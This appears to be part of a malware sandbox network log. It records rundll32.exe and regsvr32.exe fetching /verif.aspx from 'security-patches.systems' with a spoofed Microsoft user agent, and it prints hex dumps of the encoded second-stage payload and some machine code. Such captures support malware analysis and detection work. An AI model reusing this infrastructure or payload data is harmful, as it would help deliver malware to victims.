2024-12-06 21:19:43 UTC	16384	IN	Data Raw: ff ff 3b 4d c0 77 19 72 0b 8b 95 58 fe ff ff 3b 55 bc 77 0c c7 85 e4 fe ff ff 01 00 00 00 eb 0a c7 85 e4 fe ff ff 00 00 00 00 8b 85 e8 fe ff ff f7 d0 3b 85 e4 fe ff ff 74 0c c7 85 d4 fe ff ff 01 00 00 00 eb 0a c7 85 d4 fe ff ff 00 00 00 00 8b 8d dc fe ff ff f7 d1 0f af 8d d8 fe ff ff 8b 95 d4 fe ff ff f7 d2 3b ca 7c 39 0f b7 05 cc a0 04 10 8b 0d 28 a1 04 10 2b c8 89 0d 28 a1 04 10 8b 15 58 a1 04 10 33 c0 8b 0d f8 a0 04 10 8b 35 fc a0 04 10 56 51 50 52 e8 bf bd 00 00 a3 58 a1 04 10 eb 15 8b 55 b4 8b 45 b8 89 85 d4 fd ff ff 81 f2 3d 28 95 df 89 55 a8 e9 84 00 00 00 0f b7 4d ec 85 c9 75 0c c7 85 50 ff ff ff 01 00 00 00 eb 0a c7 85 50 ff ff ff 00 00 00 00 8b 15 04 a1 04 10 03 95 50 ff ff ff 33 c0 89 15 c0 a0 04 10 a3 c4 a0 04 10 8b 0d 54 a1 04 10 33 d2 8b 45 Data Ascii: ;MwrX;Uw;t;\|9(+(X35VQPRXUE=(UMuPPP3T3E

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49732	185.234.216.175	443	1908	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-06 21:19:44 UTC	117	OUT	GET /verif.aspx HTTP/1.1 User-Agent: Microsoft-WNS/11.0 Host: security-patches.systems Cache-Control: no-cache
2024-12-06 21:19:45 UTC	252	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:19:45 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 Last-Modified: Sat, 23 Nov 2024 15:29:11 GMT ETag: "d75c4-62796294faafa" Accept-Ranges: bytes Content-Length: 882116 Connection: close
2024-12-06 21:19:45 UTC	7940	IN	Data Raw: 4c 32 6e 42 59 56 5a 4b 4e 33 68 6d 4d 31 46 68 71 72 55 33 65 4e 6f 7a 55 57 46 56 53 6a 64 34 49 6a 4e 52 59 56 56 4b 4e 33 68 69 4d 31 46 68 56 55 6f 33 65 47 49 7a 55 57 46 56 53 6a 64 34 0d 0a 59 6a 4e 52 59 56 56 4b 4e 33 68 69 4d 31 46 68 58 55 73 33 65 47 77 73 36 32 39 56 2f 6a 36 31 51 34 74 51 4c 5a 68 72 59 78 41 4c 51 48 45 52 4a 79 56 51 43 67 4e 65 63 51 49 30 4a 46 6b 58 0d 0a 46 68 4d 7a 42 48 55 34 51 68 5a 43 57 6a 39 42 45 51 56 6b 57 41 39 63 4e 51 52 37 52 7a 70 79 52 6a 4e 52 59 56 56 4b 4e 33 68 48 2f 76 68 4f 4e 4f 62 77 42 41 4f 66 6c 68 30 30 35 76 41 45 0d 0a 30 4f 32 56 48 44 2f 6d 38 41 54 51 37 5a 4d 63 6c 65 62 77 42 41 55 65 6b 68 77 6b 35 76 41 45 42 52 36 56 48 43 48 6d 38 41 54 51 37 5a 49 63 49 75 62 77 42 41 55 65 6b Data Ascii: L2nBYVZKN3hmM1FhqrU3eNozUWFVSjd4IjNRYVVKN3hiM1FhVUo3eGIzUWFVSjd4YjNRYVVKN3hiM1FhXUs3eGws629V/j61Q4tQLZhrYxALQHERJyVQCgNecQI0JFkXFhMzBHU4QhZCWj9BEQVkWA9cNQR7RzpyRjNRYVVKN3hH/vhONObwBAOflh005vAE0O2VHD/m8ATQ7ZMclebwBAUekhwk5vAEBR6VHCHm8ATQ7ZIcIubwBAUek
2024-12-06 21:19:45 UTC	16384	IN	Data Raw: 2b 36 59 2f 32 69 79 70 6f 6c 46 35 59 54 50 61 4a 4b 6e 42 30 69 57 67 4e 31 47 74 6d 59 62 37 74 4b 37 2f 6e 61 32 5a 68 76 75 30 0d 0a 4e 37 69 39 34 72 6c 69 76 6a 57 65 41 4a 48 71 47 4c 61 2b 65 65 74 79 56 65 67 55 51 72 77 74 6e 76 51 54 5a 56 52 4b 4e 33 6a 70 64 71 32 6d 46 55 49 32 65 47 49 7a 32 69 79 70 6a 54 61 63 0d 0a 38 54 74 42 36 67 42 47 76 69 32 4b 75 42 52 70 33 41 2f 54 38 79 2f 50 30 71 42 5a 77 33 71 55 36 57 61 39 36 41 43 79 76 44 32 4b 75 68 53 42 33 67 66 54 38 53 2f 76 32 6a 53 31 77 54 58 78 0d 0a 4a 2b 76 61 4c 49 6e 42 4a 76 45 33 78 39 6f 6b 72 59 30 33 2f 42 51 37 51 65 6f 59 73 76 42 35 69 6b 56 5a 63 64 34 66 7a 2f 4d 6e 78 39 67 6a 55 63 6c 4b 6a 47 4a 47 57 4b 59 51 75 6a 64 34 0d 0a 59 6a 4f 36 61 4e 34 48 77 33 73 Data Ascii: +6Y/2iypolF5YTPaJKnB0iWgN1GtmYb7tK7/na2Zhvu0N7i94rlivjWeAJHqGLa+eetyVegUQrwtnvQTZVRKN3jpdq2mFUI2eGIz2iypjTac8TtB6gBGvi2KuBRp3A/T8y/P0qBZw3qU6Wa96ACyvD2KuhSB3gfT8S/v2jS1wTXxJ+vaLInBJvE3x9okrY03/BQ7QeoYsvB5ikVZcd4fz/Mnx9gjUclKjGJGWKYQujd4YjO6aN4Hw3s
2024-12-06 21:19:45 UTC	16384	IN	Data Raw: 36 51 43 30 4f 4d 34 6e 7a 64 53 68 49 52 48 77 50 62 6f 7a 55 57 46 56 77 58 70 6f 0d 0a 36 33 36 39 36 67 42 47 76 69 32 53 75 42 53 52 33 41 2f 37 38 79 2f 66 32 43 79 46 78 32 4b 30 36 32 61 78 70 68 43 65 4e 33 68 69 4d 39 6f 6b 64 63 4e 79 6e 4f 6c 2b 54 65 67 59 6f 72 77 74 0d 0a 69 72 6f 45 70 64 34 50 30 2f 45 6e 2b 39 77 73 6b 63 4e 36 70 4f 6c 6d 73 54 50 65 42 2b 75 51 52 67 35 51 59 62 78 64 79 49 65 64 75 42 52 70 33 67 63 72 38 7a 63 54 32 47 6e 63 47 6a 50 7a 0d 0a 4a 7a 76 61 68 41 69 4a 2b 37 53 75 2f 35 32 74 6d 59 62 37 74 44 65 34 76 54 79 57 68 76 75 30 72 76 2b 64 72 5a 6d 47 2b 37 51 33 75 4c 30 77 76 6b 4f 38 50 57 71 77 6b 58 48 63 44 7a 2f 7a 0d 0a 4c 7a 74 71 4c 46 6b 2b 41 50 4d 33 4f 39 67 30 71 63 46 36 68 49 6f 59 67 32 4e Data Ascii: 6QC0OM4nzdShIRHwPbozUWFVwXpo63696gBGvi2SuBSR3A/78y/f2CyFx2K062axphCeN3hiM9okdcNynOl+TegYorwtiroEpd4P0/En+9wskcN6pOlmsTPeB+uQRg5QYbxdyIeduBRp3gcr8zcT2GncGjPzJzvahAiJ+7Su/52tmYb7tDe4vTyWhvu0rv+drZmG+7Q3uL0wvkO8PWqwkXHcDz/zLztqLFk+APM3O9g0qcF6hIoYg2N
2024-12-06 21:19:45 UTC	16384	IN	Data Raw: 61 4f 75 6d 51 5a 36 71 74 62 37 39 0d 0a 64 73 79 75 6e 72 35 44 76 44 58 36 73 4c 68 67 33 41 65 76 2b 78 2b 72 55 52 64 4c 78 36 4a 6f 6e 63 79 75 36 4d 44 36 79 59 65 64 50 4f 63 6b 54 52 71 38 39 64 4c 4e 72 70 36 39 64 53 5a 35 0d 0a 59 74 69 43 36 74 68 61 79 49 65 64 75 4d 52 31 71 72 58 49 38 65 39 37 72 35 36 71 77 36 49 30 6e 4d 79 75 36 74 41 43 79 59 65 64 75 4e 77 74 71 37 58 49 38 53 63 2f 32 43 78 46 6a 58 4b 67 0d 0a 59 6a 4e 52 59 62 79 78 4e 33 68 69 76 73 52 42 71 37 58 49 38 54 65 6e 32 69 54 42 77 37 4a 41 6e 63 79 75 36 68 6a 65 74 41 46 32 50 43 64 74 6b 73 38 4c 68 35 33 4d 55 47 46 56 53 74 78 79 0d 0a 70 62 5a 74 6e 71 71 31 4e 33 68 69 4d 39 76 30 61 62 58 49 68 2b 70 6d 75 57 37 6a 44 39 2f 39 6f 6b 64 47 36 68 6a 65 76 47 6e Data Ascii: aOumQZ6qtb79dsyunr5DvDX6sLhg3Aev+x+rURdLx6Joncyu6MD6yYedPOckTRq89dLNrp69dSZ5YtiC6thayIeduMR1qrXI8e97r56qw6I0nMyu6tACyYeduNwtq7XI8Sc/2CxFjXKgYjNRYbyxN3hivsRBq7XI8Ten2iTBw7JAncyu6hjetAF2PCdtks8Lh53MUGFVStxypbZtnqq1N3hiM9v0abXIh+pmuW7jD9/9okdG6hjevGn
2024-12-06 21:19:45 UTC	16384	IN	Data Raw: 67 55 74 64 35 43 76 6a 4a 6d 39 42 53 64 56 55 6f 33 65 4f 6c 6d 57 65 67 41 68 72 77 39 7a 72 6f 55 73 64 34 48 35 2f 45 76 39 39 6f 30 6d 63 4e 69 6b 4f 6c 32 75 65 67 51 67 72 77 31 0d 0a 71 72 6f 63 30 64 67 66 78 53 72 70 64 72 6b 78 33 67 66 7a 6b 49 35 4f 72 70 34 2f 53 72 6f 31 79 6d 4b 35 6b 4e 32 31 79 50 75 6d 4f 31 37 58 68 63 2f 6c 44 58 56 62 52 31 31 56 53 6c 2b 49 0d 0a 46 44 74 42 43 65 33 47 50 32 69 4b 38 32 64 6e 56 63 6e 7a 64 4b 56 32 6b 57 46 56 53 6a 66 31 4c 35 2f 59 4c 4c 48 42 59 70 7a 70 4d 64 67 6b 36 63 46 36 6e 4f 6c 6d 6b 65 68 45 77 58 4c 45 0d 0a 36 33 62 70 36 68 6a 79 76 6a 58 57 39 42 53 64 71 72 58 49 68 2b 39 2b 2b 59 6d 64 6b 7a 64 34 36 58 62 6c 36 68 69 2b 55 2f 46 76 4d 31 46 68 56 63 48 53 4a 61 48 2f 6e 61 32 Data Ascii: gUtd5CvjJm9BSdVUo3eOlmWegAhrw9zroUsd4H5/Ev99o0mcNikOl2uegQgrw1qroc0dgfxSrpdrkx3gfzkI5Orp4/Sro1ymK5kN21yPumO17Xhc/lDXVbR11VSl+IFDtBCe3GP2iK82dnVcnzdKV2kWFVSjf1L5/YLLHBYpzpMdgk6cF6nOlmkehEwXLE63bp6hjyvjXW9BSdqrXIh+9++Ymdkzd46Xbl6hi+U/FvM1FhVcHSJaH/na2
2024-12-06 21:19:45 UTC	16384	IN	Data Raw: 58 49 68 2b 48 66 51 65 71 5a 77 35 4b 34 6e 4d 79 75 36 73 41 36 79 49 65 64 59 62 6b 34 4a 30 6f 33 38 79 66 44 32 6d 6d 39 4e 59 56 34 0d 0a 59 76 55 55 69 46 54 42 65 6f 6a 70 49 74 6a 30 50 62 58 49 68 2b 39 32 75 4f 6a 51 4a 73 69 48 6e 62 67 63 61 64 37 66 57 34 65 64 7a 4e 74 6a 33 55 75 36 39 51 72 4d 72 70 37 63 78 31 4f 48 0d 0a 6e 63 7a 61 4e 46 33 42 73 68 79 64 7a 4b 37 71 58 63 4e 39 66 4b 56 32 72 5a 36 71 74 63 6a 31 4c 2f 2b 35 73 42 4e 49 4e 33 66 55 5a 70 30 7a 32 41 66 6a 6b 43 61 34 55 32 48 65 44 7a 2b 52 0d 0a 69 44 64 52 59 64 34 50 78 2f 75 69 4e 39 6a 6b 4e 62 58 49 68 39 73 33 55 57 46 56 49 65 61 48 36 62 59 78 6e 71 71 31 4e 43 68 6d 75 73 51 39 71 72 58 49 38 2b 39 76 72 70 36 71 79 51 35 34 0d 0a 46 31 47 58 4a 4c 31 4b 38 Data Ascii: XIh+HfQeqZw5K4nMyu6sA6yIedYbk4J0o38yfD2mm9NYV4YvUUiFTBeojpItj0PbXIh+92uOjQJsiHnbgcad7fW4edzNtj3Uu69QrMrp7cx1OHnczaNF3BshydzK7qXcN9fKV2rZ6qtcj1L/+5sBNIN3fUZp0z2AfjkCa4U2HeDz+RiDdRYd4Px/uiN9jkNbXIh9s3UWFVIeaH6bYxnqq1NChmusQ9qrXI8+9vrp6qyQ54F1GXJL1K8
2024-12-06 21:19:45 UTC	16384	IN	Data Raw: 67 63 69 64 61 4c 50 35 42 75 58 56 46 68 33 67 66 66 6b 4d 59 72 55 32 48 65 42 38 76 7a 0d 0a 61 39 75 72 34 6c 56 4b 76 43 32 65 75 46 4f 49 4d 55 67 33 65 4f 6c 32 72 65 4b 56 54 72 34 39 70 6f 70 56 59 56 56 4b 58 4b 6d 64 75 42 53 6c 56 68 6f 7a 38 54 66 7a 32 69 79 56 77 53 62 78 0d 0a 4e 34 2f 61 4a 4f 6e 4b 44 33 6f 58 4f 70 59 6b 6a 55 73 33 65 47 4c 59 56 71 59 51 6b 6a 64 34 59 6a 50 62 4c 49 33 43 65 6f 70 74 68 51 53 54 30 4a 68 43 4a 2b 6c 32 72 65 4b 56 54 72 34 39 0d 0a 32 6f 70 56 59 56 56 4b 58 4b 6d 64 75 42 54 5a 56 68 6f 7a 38 54 65 48 32 69 7a 68 77 53 62 78 4e 34 50 61 4a 4f 58 4b 44 33 6b 58 4f 70 59 6b 67 55 73 33 65 47 4c 59 56 71 59 51 6e 6a 64 34 0d 0a 59 6a 50 62 4c 49 48 43 65 6f 6c 74 68 51 53 51 30 4a 68 43 62 77 6f 79 51 Data Ascii: gcidaLP5BuXVFh3gffkMYrU2HeB8vza9ur4lVKvC2euFOIMUg3eOl2reKVTr49popVYVVKXKmduBSlVhoz8Tfz2iyVwSbxN4/aJOnKD3oXOpYkjUs3eGLYVqYQkjd4YjPbLI3CeopthQST0JhCJ+l2reKVTr492opVYVVKXKmduBTZVhoz8TeH2izhwSbxN4PaJOXKD3kXOpYkgUs3eGLYVqYQnjd4YjPbLIHCeolthQSQ0JhCbwoyQ
2024-12-06 21:19:45 UTC	16384	IN	Data Raw: 2f 77 50 66 71 33 31 57 6c 46 77 58 4c 67 0d 0a 34 66 4e 51 36 4e 41 6d 79 59 65 64 75 42 7a 35 33 31 75 2f 4c 64 2b 77 46 50 6c 55 79 6b 72 46 59 6b 61 2f 36 68 44 53 48 50 30 4f 7a 61 36 65 33 4d 39 66 68 70 33 4d 32 75 77 39 74 4d 69 48 0d 0a 36 37 34 31 6e 36 71 31 76 4f 30 47 7a 61 36 65 33 4e 39 58 68 70 33 4d 32 75 51 31 74 4d 69 48 4d 6c 76 56 35 56 31 61 75 76 56 4b 7a 36 36 65 76 57 30 38 68 35 33 31 46 4a 31 44 78 37 70 51 0d 0a 6e 73 79 75 4d 44 39 61 75 75 33 69 79 61 36 65 42 38 46 36 69 49 72 34 64 57 4a 56 77 37 49 6b 6e 4d 79 75 36 74 41 57 79 59 65 64 75 74 51 35 71 37 58 49 76 69 66 50 52 75 6f 59 75 72 53 35 0d 0a 49 72 68 41 36 4d 41 65 79 6f 65 64 75 42 42 6c 33 4d 39 76 68 5a 33 4d 32 69 68 64 77 37 6f 6b 6e 38 79 75 37 4d 41 65 79 Data Ascii: /wPfq31WlFwXLg4fNQ6NAmyYeduBz531u/Ld+wFPlUykrFYka/6hDSHP0Oza6e3M9fhp3M2uw9tMiH6741n6q1vO0Gza6e3N9Xhp3M2uQ1tMiHMlvV5V1auvVKz66evW08h531FJ1Dx7pQnsyuMD9auu3iya6eB8F6iIr4dWJVw7IknMyu6tAWyYedutQ5q7XIvifPRuoYurS5IrhA6MAeyoeduBBl3M9vhZ3M2ihdw7okn8yu7MAey
2024-12-06 21:19:45 UTC	16384	IN	Data Raw: 62 57 53 52 6b 31 70 62 64 53 43 4b 67 43 64 69 56 63 46 36 68 4f 70 79 4d 65 6f 51 74 72 79 64 50 2f 46 56 59 5a 6d 47 2b 37 51 33 75 4c 33 69 75 57 61 2b 4e 5a 36 34 46 47 6e 63 44 38 50 7a 0d 0a 4c 38 66 59 4c 49 48 42 59 6f 54 72 5a 71 48 71 45 4c 71 2b 50 5a 71 34 48 4a 6d 53 53 7a 64 34 59 6a 50 61 4e 4b 32 4e 64 58 78 69 4d 31 46 68 33 67 38 2f 38 32 71 36 48 49 33 65 48 39 76 78 0d 0a 4e 39 76 63 4a 4c 33 44 63 71 54 70 66 6c 6e 71 52 4d 45 31 38 53 66 58 32 69 79 78 77 33 71 59 37 32 61 78 36 41 43 53 76 44 32 2b 75 46 6b 77 33 68 2f 76 38 32 42 6a 32 69 79 70 6f 68 6d 62 0d 0a 6e 4d 7a 61 4a 4b 6e 42 30 69 57 67 4e 31 47 74 6d 59 62 37 74 44 65 34 76 65 4b 35 58 72 34 31 6e 72 67 55 6e 64 77 50 77 2f 4d 76 78 39 67 73 72 63 46 69 67 4b 55 78 55 Data Ascii: bWSRk1pbdSCKgCdiVcF6hOpyMeoQtrydP/FVYZmG+7Q3uL3iuWa+NZ64FGncD8PzL8fYLIHBYoTrZqHqELq+PZq4HJmSSzd4YjPaNK2NdXxiM1Fh3g8/82q6HI3eH9vxN9vcJL3DcqTpflnqRME18SfX2iyxw3qY72ax6ACSvD2+uFkw3h/v82Bj2iypohmbnMzaJKnB0iWgN1GtmYb7tDe4veK5Xr41nrgUndwPw/Mvx9gsrcFigKUxU
2024-12-06 21:19:46 UTC	16384	IN	Data Raw: 58 49 31 79 76 47 4d 7a 55 57 47 2b 54 66 41 39 70 6a 4e 52 59 56 58 41 63 72 79 4c 47 46 42 68 56 61 4d 54 65 57 49 7a 30 52 79 6d 54 45 49 35 0d 0a 34 6b 36 6a 5a 69 42 78 76 44 56 71 75 42 42 70 33 68 73 37 38 36 72 62 6d 77 5a 52 53 72 77 31 62 6c 56 65 54 78 52 43 71 49 36 6d 64 79 74 6f 6b 67 2f 33 65 57 49 7a 55 59 70 53 6a 58 4b 34 0d 0a 59 6a 4e 52 59 64 38 50 39 35 47 47 4d 31 46 68 76 4a 63 33 65 47 4b 7a 4c 4a 4a 53 50 33 54 34 48 38 46 58 46 47 6a 42 59 6e 54 70 65 56 6e 71 42 30 62 66 2f 51 55 33 55 65 6f 51 51 73 56 33 0d 0a 63 6e 74 5a 42 31 70 6b 2f 2b 65 55 39 78 55 62 58 49 31 79 78 47 4d 7a 55 57 47 2b 54 66 41 39 33 6a 4e 52 59 56 58 41 63 73 53 4c 71 46 46 68 56 61 4f 6a 65 47 49 7a 30 52 79 6d 54 45 49 39 0d 0a 34 6b 36 6a 5a 43 42 Data Ascii: XI1yvGMzUWG+TfA9pjNRYVXAcryLGFBhVaMTeWIz0RymTEI54k6jZiBxvDVquBBp3hs786rbmwZRSrw1blVeTxRCqI6mdytokg/3eWIzUYpSjXK4YjNRYd8P95GGM1FhvJc3eGKzLJJSP3T4H8FXFGjBYnTpeVnqB0bf/QU3UeoQQsV3cntZB1pk/+eU9xUbXI1yxGMzUWG+TfA93jNRYVXAcsSLqFFhVaOjeGIz0RymTEI94k6jZCB

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49733	185.234.216.175	443	4940	C:\Windows\SysWOW64\regsvr32.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-06 21:19:46 UTC	117	OUT	GET /verif.aspx HTTP/1.1 User-Agent: Microsoft-WNS/11.0 Host: security-patches.systems Cache-Control: no-cache
2024-12-06 21:19:47 UTC	252	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:19:47 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 Last-Modified: Sat, 23 Nov 2024 15:29:11 GMT ETag: "d75c4-62796294faafa" Accept-Ranges: bytes Content-Length: 882116 Connection: close
2024-12-06 21:19:47 UTC	7940	IN	Data Raw: 4c 32 6e 42 59 56 5a 4b 4e 33 68 6d 4d 31 46 68 71 72 55 33 65 4e 6f 7a 55 57 46 56 53 6a 64 34 49 6a 4e 52 59 56 56 4b 4e 33 68 69 4d 31 46 68 56 55 6f 33 65 47 49 7a 55 57 46 56 53 6a 64 34 0d 0a 59 6a 4e 52 59 56 56 4b 4e 33 68 69 4d 31 46 68 58 55 73 33 65 47 77 73 36 32 39 56 2f 6a 36 31 51 34 74 51 4c 5a 68 72 59 78 41 4c 51 48 45 52 4a 79 56 51 43 67 4e 65 63 51 49 30 4a 46 6b 58 0d 0a 46 68 4d 7a 42 48 55 34 51 68 5a 43 57 6a 39 42 45 51 56 6b 57 41 39 63 4e 51 52 37 52 7a 70 79 52 6a 4e 52 59 56 56 4b 4e 33 68 48 2f 76 68 4f 4e 4f 62 77 42 41 4f 66 6c 68 30 30 35 76 41 45 0d 0a 30 4f 32 56 48 44 2f 6d 38 41 54 51 37 5a 4d 63 6c 65 62 77 42 41 55 65 6b 68 77 6b 35 76 41 45 42 52 36 56 48 43 48 6d 38 41 54 51 37 5a 49 63 49 75 62 77 42 41 55 65 6b Data Ascii: L2nBYVZKN3hmM1FhqrU3eNozUWFVSjd4IjNRYVVKN3hiM1FhVUo3eGIzUWFVSjd4YjNRYVVKN3hiM1FhXUs3eGws629V/j61Q4tQLZhrYxALQHERJyVQCgNecQI0JFkXFhMzBHU4QhZCWj9BEQVkWA9cNQR7RzpyRjNRYVVKN3hH/vhONObwBAOflh005vAE0O2VHD/m8ATQ7ZMclebwBAUekhwk5vAEBR6VHCHm8ATQ7ZIcIubwBAUek
2024-12-06 21:19:47 UTC	16384	IN	Data Raw: 2b 36 59 2f 32 69 79 70 6f 6c 46 35 59 54 50 61 4a 4b 6e 42 30 69 57 67 4e 31 47 74 6d 59 62 37 74 4b 37 2f 6e 61 32 5a 68 76 75 30 0d 0a 4e 37 69 39 34 72 6c 69 76 6a 57 65 41 4a 48 71 47 4c 61 2b 65 65 74 79 56 65 67 55 51 72 77 74 6e 76 51 54 5a 56 52 4b 4e 33 6a 70 64 71 32 6d 46 55 49 32 65 47 49 7a 32 69 79 70 6a 54 61 63 0d 0a 38 54 74 42 36 67 42 47 76 69 32 4b 75 42 52 70 33 41 2f 54 38 79 2f 50 30 71 42 5a 77 33 71 55 36 57 61 39 36 41 43 79 76 44 32 4b 75 68 53 42 33 67 66 54 38 53 2f 76 32 6a 53 31 77 54 58 78 0d 0a 4a 2b 76 61 4c 49 6e 42 4a 76 45 33 78 39 6f 6b 72 59 30 33 2f 42 51 37 51 65 6f 59 73 76 42 35 69 6b 56 5a 63 64 34 66 7a 2f 4d 6e 78 39 67 6a 55 63 6c 4b 6a 47 4a 47 57 4b 59 51 75 6a 64 34 0d 0a 59 6a 4f 36 61 4e 34 48 77 33 73 Data Ascii: +6Y/2iypolF5YTPaJKnB0iWgN1GtmYb7tK7/na2Zhvu0N7i94rlivjWeAJHqGLa+eetyVegUQrwtnvQTZVRKN3jpdq2mFUI2eGIz2iypjTac8TtB6gBGvi2KuBRp3A/T8y/P0qBZw3qU6Wa96ACyvD2KuhSB3gfT8S/v2jS1wTXxJ+vaLInBJvE3x9okrY03/BQ7QeoYsvB5ikVZcd4fz/Mnx9gjUclKjGJGWKYQujd4YjO6aN4Hw3s
2024-12-06 21:19:47 UTC	16384	IN	Data Raw: 36 51 43 30 4f 4d 34 6e 7a 64 53 68 49 52 48 77 50 62 6f 7a 55 57 46 56 77 58 70 6f 0d 0a 36 33 36 39 36 67 42 47 76 69 32 53 75 42 53 52 33 41 2f 37 38 79 2f 66 32 43 79 46 78 32 4b 30 36 32 61 78 70 68 43 65 4e 33 68 69 4d 39 6f 6b 64 63 4e 79 6e 4f 6c 2b 54 65 67 59 6f 72 77 74 0d 0a 69 72 6f 45 70 64 34 50 30 2f 45 6e 2b 39 77 73 6b 63 4e 36 70 4f 6c 6d 73 54 50 65 42 2b 75 51 52 67 35 51 59 62 78 64 79 49 65 64 75 42 52 70 33 67 63 72 38 7a 63 54 32 47 6e 63 47 6a 50 7a 0d 0a 4a 7a 76 61 68 41 69 4a 2b 37 53 75 2f 35 32 74 6d 59 62 37 74 44 65 34 76 54 79 57 68 76 75 30 72 76 2b 64 72 5a 6d 47 2b 37 51 33 75 4c 30 77 76 6b 4f 38 50 57 71 77 6b 58 48 63 44 7a 2f 7a 0d 0a 4c 7a 74 71 4c 46 6b 2b 41 50 4d 33 4f 39 67 30 71 63 46 36 68 49 6f 59 67 32 4e Data Ascii: 6QC0OM4nzdShIRHwPbozUWFVwXpo63696gBGvi2SuBSR3A/78y/f2CyFx2K062axphCeN3hiM9okdcNynOl+TegYorwtiroEpd4P0/En+9wskcN6pOlmsTPeB+uQRg5QYbxdyIeduBRp3gcr8zcT2GncGjPzJzvahAiJ+7Su/52tmYb7tDe4vTyWhvu0rv+drZmG+7Q3uL0wvkO8PWqwkXHcDz/zLztqLFk+APM3O9g0qcF6hIoYg2N
2024-12-06 21:19:47 UTC	16384	IN	Data Raw: 61 4f 75 6d 51 5a 36 71 74 62 37 39 0d 0a 64 73 79 75 6e 72 35 44 76 44 58 36 73 4c 68 67 33 41 65 76 2b 78 2b 72 55 52 64 4c 78 36 4a 6f 6e 63 79 75 36 4d 44 36 79 59 65 64 50 4f 63 6b 54 52 71 38 39 64 4c 4e 72 70 36 39 64 53 5a 35 0d 0a 59 74 69 43 36 74 68 61 79 49 65 64 75 4d 52 31 71 72 58 49 38 65 39 37 72 35 36 71 77 36 49 30 6e 4d 79 75 36 74 41 43 79 59 65 64 75 4e 77 74 71 37 58 49 38 53 63 2f 32 43 78 46 6a 58 4b 67 0d 0a 59 6a 4e 52 59 62 79 78 4e 33 68 69 76 73 52 42 71 37 58 49 38 54 65 6e 32 69 54 42 77 37 4a 41 6e 63 79 75 36 68 6a 65 74 41 46 32 50 43 64 74 6b 73 38 4c 68 35 33 4d 55 47 46 56 53 74 78 79 0d 0a 70 62 5a 74 6e 71 71 31 4e 33 68 69 4d 39 76 30 61 62 58 49 68 2b 70 6d 75 57 37 6a 44 39 2f 39 6f 6b 64 47 36 68 6a 65 76 47 6e Data Ascii: aOumQZ6qtb79dsyunr5DvDX6sLhg3Aev+x+rURdLx6Joncyu6MD6yYedPOckTRq89dLNrp69dSZ5YtiC6thayIeduMR1qrXI8e97r56qw6I0nMyu6tACyYeduNwtq7XI8Sc/2CxFjXKgYjNRYbyxN3hivsRBq7XI8Ten2iTBw7JAncyu6hjetAF2PCdtks8Lh53MUGFVStxypbZtnqq1N3hiM9v0abXIh+pmuW7jD9/9okdG6hjevGn
2024-12-06 21:19:47 UTC	16384	IN	Data Raw: 67 55 74 64 35 43 76 6a 4a 6d 39 42 53 64 56 55 6f 33 65 4f 6c 6d 57 65 67 41 68 72 77 39 7a 72 6f 55 73 64 34 48 35 2f 45 76 39 39 6f 30 6d 63 4e 69 6b 4f 6c 32 75 65 67 51 67 72 77 31 0d 0a 71 72 6f 63 30 64 67 66 78 53 72 70 64 72 6b 78 33 67 66 7a 6b 49 35 4f 72 70 34 2f 53 72 6f 31 79 6d 4b 35 6b 4e 32 31 79 50 75 6d 4f 31 37 58 68 63 2f 6c 44 58 56 62 52 31 31 56 53 6c 2b 49 0d 0a 46 44 74 42 43 65 33 47 50 32 69 4b 38 32 64 6e 56 63 6e 7a 64 4b 56 32 6b 57 46 56 53 6a 66 31 4c 35 2f 59 4c 4c 48 42 59 70 7a 70 4d 64 67 6b 36 63 46 36 6e 4f 6c 6d 6b 65 68 45 77 58 4c 45 0d 0a 36 33 62 70 36 68 6a 79 76 6a 58 57 39 42 53 64 71 72 58 49 68 2b 39 2b 2b 59 6d 64 6b 7a 64 34 36 58 62 6c 36 68 69 2b 55 2f 46 76 4d 31 46 68 56 63 48 53 4a 61 48 2f 6e 61 32 Data Ascii: gUtd5CvjJm9BSdVUo3eOlmWegAhrw9zroUsd4H5/Ev99o0mcNikOl2uegQgrw1qroc0dgfxSrpdrkx3gfzkI5Orp4/Sro1ymK5kN21yPumO17Xhc/lDXVbR11VSl+IFDtBCe3GP2iK82dnVcnzdKV2kWFVSjf1L5/YLLHBYpzpMdgk6cF6nOlmkehEwXLE63bp6hjyvjXW9BSdqrXIh+9++Ymdkzd46Xbl6hi+U/FvM1FhVcHSJaH/na2
2024-12-06 21:19:47 UTC	16384	IN	Data Raw: 58 49 68 2b 48 66 51 65 71 5a 77 35 4b 34 6e 4d 79 75 36 73 41 36 79 49 65 64 59 62 6b 34 4a 30 6f 33 38 79 66 44 32 6d 6d 39 4e 59 56 34 0d 0a 59 76 55 55 69 46 54 42 65 6f 6a 70 49 74 6a 30 50 62 58 49 68 2b 39 32 75 4f 6a 51 4a 73 69 48 6e 62 67 63 61 64 37 66 57 34 65 64 7a 4e 74 6a 33 55 75 36 39 51 72 4d 72 70 37 63 78 31 4f 48 0d 0a 6e 63 7a 61 4e 46 33 42 73 68 79 64 7a 4b 37 71 58 63 4e 39 66 4b 56 32 72 5a 36 71 74 63 6a 31 4c 2f 2b 35 73 42 4e 49 4e 33 66 55 5a 70 30 7a 32 41 66 6a 6b 43 61 34 55 32 48 65 44 7a 2b 52 0d 0a 69 44 64 52 59 64 34 50 78 2f 75 69 4e 39 6a 6b 4e 62 58 49 68 39 73 33 55 57 46 56 49 65 61 48 36 62 59 78 6e 71 71 31 4e 43 68 6d 75 73 51 39 71 72 58 49 38 2b 39 76 72 70 36 71 79 51 35 34 0d 0a 46 31 47 58 4a 4c 31 4b 38 Data Ascii: XIh+HfQeqZw5K4nMyu6sA6yIedYbk4J0o38yfD2mm9NYV4YvUUiFTBeojpItj0PbXIh+92uOjQJsiHnbgcad7fW4edzNtj3Uu69QrMrp7cx1OHnczaNF3BshydzK7qXcN9fKV2rZ6qtcj1L/+5sBNIN3fUZp0z2AfjkCa4U2HeDz+RiDdRYd4Px/uiN9jkNbXIh9s3UWFVIeaH6bYxnqq1NChmusQ9qrXI8+9vrp6qyQ54F1GXJL1K8
